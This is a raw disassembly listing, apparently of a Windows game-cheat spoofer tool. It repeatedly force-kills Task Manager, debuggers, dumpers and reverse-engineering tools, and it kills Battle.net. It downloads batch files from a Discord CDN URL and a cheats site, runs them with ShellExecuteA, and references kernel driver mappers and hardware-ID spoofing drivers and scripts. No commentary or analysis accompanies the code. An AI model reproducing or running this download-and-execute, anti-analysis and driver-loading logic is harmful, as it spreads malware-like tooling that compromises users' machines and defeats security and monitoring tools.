lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, gethostname
lea r8, str.Are_You_Sure_You_Want_To_activate_the_blocker
lea rdx, str.BLOCKER
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATING
lea rdx, str.PLEASE_WAIT
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd9f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd9d0]
call fcn.14005d9d0
lea rcx, [rsp + 0xd9d0]
call fcn.14005d8d0
mov qword [rsp + 0x6d0], rax
lea rcx, [rsp + 0xd9f0]
call fcn.14005d8d0
mov qword [rsp + 0x6d8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x6d0]
mov rdx, qword [rsp + 0x6d8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATED
lea rdx, str.BLOCKER
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0xd9d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd9f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xda10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xda30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xda50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb8f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xda70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xda90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdab0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdad0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdaf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdb10]
call fcn.14005d8e0
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea8]
lea rcx, [rsp + 0x6e0]
call fcn.14005eef0
lea rdx, [rsp + 0x6e0]
lea rcx, str.INSTANT_200_PING_BYPASS
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14007d5a2
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xdc90]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xdc70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdc70]
call fcn.14005d8d0
mov qword [rsp + 0x6e8], rax
lea rcx, [rsp + 0xdc90]
call fcn.14005d8d0
mov qword [rsp + 0x6f0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x6e8]
mov rdx, qword [rsp + 0x6f0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_pngbypas.bat
lea rcx, [rsp + 0xdc50]
call fcn.14005d9d0
nop
